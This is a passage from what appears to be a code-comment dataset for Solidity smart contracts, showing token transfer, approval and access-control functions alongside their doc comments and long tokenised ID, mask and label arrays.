* @param _f uint256 the amount of F-type-tokens to be transferred
*/
function distribute(address _to, uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e, uint256 _f) onlyOwner external returns (bool) {
require(_to != address(0));
_updateLockUpAmountOf(msg.sender);
uint256 __total = 0;
__total = __total.add(_a);
__total = __total.add(_b);
__total = __total.add(_c);
__total = __total.add(_d);
__total = __total.add(_e);
__total = __total.add(_f);
balances[msg.sender][0] = balances[msg.sender][0].sub(__total);
balances[_to][0] = balances[_to][0].add(_a);
balances[_to][1] = balances[_to][1].add(_b);
balances[_to][2] = balances[_to][2].add(_c);
balances[_to][3] = balances[_to][3].add(_d);
balances[_to][4] = balances[_to][4].add(_e);
balances[_to][5] = balances[_to][5].add(_f);
emit Transfer(msg.sender, _to, __total);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_to != address(this));
_updateLockUpAmountOf(_from);
balances[_from][0] = balances[_from][0].sub(_value);
balances[_to][0] = balances[_to][0].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) external returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) external view returns (uint256) {
return allowed[_holder][_spender];
}
}
|
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent./
|
function approve(address _spender, uint256 _value) external returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| 1,463,736 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
1716,
685,
537,
326,
2275,
1758,
358,
17571,
326,
1269,
3844,
434,
2430,
603,
12433,
6186,
434,
1234,
18,
15330,
18,
605,
359,
834,
716,
12770,
392,
1699,
1359,
598,
333,
707,
5186,
899,
326,
18404,
716,
18626,
2026,
999,
3937,
326,
1592,
471,
326,
394,
1699,
1359,
635,
640,
22618,
340,
2492,
9543,
18,
6942,
3323,
6959,
358,
20310,
360,
340,
333,
17996,
2269,
353,
358,
1122,
5459,
326,
17571,
264,
1807,
1699,
1359,
358,
374,
471,
444,
326,
6049,
460,
23838,
30,
632,
891,
389,
87,
1302,
264,
1021,
1758,
1492,
903,
17571,
326,
284,
19156,
18,
632,
891,
389,
1132,
1021,
3844,
434,
2430,
358,
506,
26515,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
13,
3903,
1135,
261,
6430,
13,
288,
203,
203,
3639,
2935,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0B579726A389E1E009A4BdFBa093d732edCdE811/sources/contracts/protocol/configuration/ACLManager.sol
|
@inheritdoc IACLManager
|
function isBridge(address bridge) external view override returns (bool) {
return hasRole(BRIDGE_ROLE, bridge);
}
| 3,987,576 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
10093,
467,
9486,
1318,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
353,
13691,
12,
2867,
10105,
13,
3903,
1476,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
28335,
12,
7192,
734,
7113,
67,
16256,
16,
10105,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
